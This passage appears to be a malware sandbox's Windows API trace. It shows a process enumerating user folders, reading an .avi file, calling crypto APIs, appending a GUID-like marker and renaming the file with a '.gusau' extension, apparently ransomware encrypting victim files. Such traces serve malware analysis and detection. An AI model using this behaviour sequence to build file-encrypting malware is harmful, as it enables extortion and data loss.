(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.862] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.862] PathFindFileNameW (pszPath="") returned="" [0119.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.863] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.863] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.863] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.863] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.863] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.863] PathFindFileNameW (pszPath="") returned="" [0119.863] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.864] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.864] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.864] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.864] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.864] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.864] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.864] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.865] PathFindFileNameW (pszPath="") returned="" [0119.865] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.865] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.865] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.865] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.865] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.865] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.865] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.866] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.866] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.866] PathFindFileNameW (pszPath="") returned="" [0119.866] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.866] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.866] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.866] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.866] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.867] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.867] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.867] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.867] PathFindFileNameW (pszPath="") returned="" [0119.867] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.867] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.867] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.867] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.868] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.868] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\") returned="3-Nhyh1JijVqK571B0JU\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\") returned="6xgwVggB1\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\") returned="4Ww3Dv\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\") returned="tKB6e7CXHXIzSLY\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.868] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.868] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.868] PathFindFileNameW (pszPath="") returned="" [0119.868] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b9924d0, ftCreationTime.dwHighDateTime=0x1d4c8f1, ftLastAccessTime.dwLowDateTime=0xfd361690, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xfd361690, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b9924d0, ftCreationTime.dwHighDateTime=0x1d4c8f1, ftLastAccessTime.dwLowDateTime=0xfd361690, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xfd361690, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.871] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d204700, ftCreationTime.dwHighDateTime=0x1d4d13c, ftLastAccessTime.dwLowDateTime=0x65e4b970, ftLastAccessTime.dwHighDateTime=0x1d4caef, ftLastWriteTime.dwLowDateTime=0x65e4b970, ftLastWriteTime.dwHighDateTime=0x1d4caef, nFileSizeHigh=0x0, nFileSizeLow=0xa381, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I0IPALQTs_bmOEuFUuOl.avi", cAlternateFileName="I0IPAL~1.AVI")) returned 1 [0119.871] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\I0IPALQTs_bmOEuFUuOl.avi") returned=".avi" [0119.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\I0IPALQTs_bmOEuFUuOl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\i0ipalqts_bmoeufuuol.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.871] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=41857) returned 1 [0119.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.873] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa35b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.873] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.875] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa381, lpOverlapped=0x0) returned 1 [0119.875] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.875] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.875] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.876] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.876] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.876] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.876] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.876] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.876] GetLastError () returned 0x0 [0119.876] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.877] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.877] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa381, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.877] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.877] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.877] CloseHandle (hObject=0x610) returned 1 [0119.878] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\I0IPALQTs_bmOEuFUuOl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\i0ipalqts_bmoeufuuol.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\I0IPALQTs_bmOEuFUuOl.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\i0ipalqts_bmoeufuuol.avi.gusau")) returned 1 [0119.879] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.879] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.880] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.880] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a9f50, ftCreationTime.dwHighDateTime=0x1d4d50c, ftLastAccessTime.dwLowDateTime=0x75586c80, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0x75586c80, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0x34f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Imq8H_txUYezfovf910P.avi", cAlternateFileName="IMQ8H_~1.AVI")) returned 1 [0119.880] RtlAllocateHeap 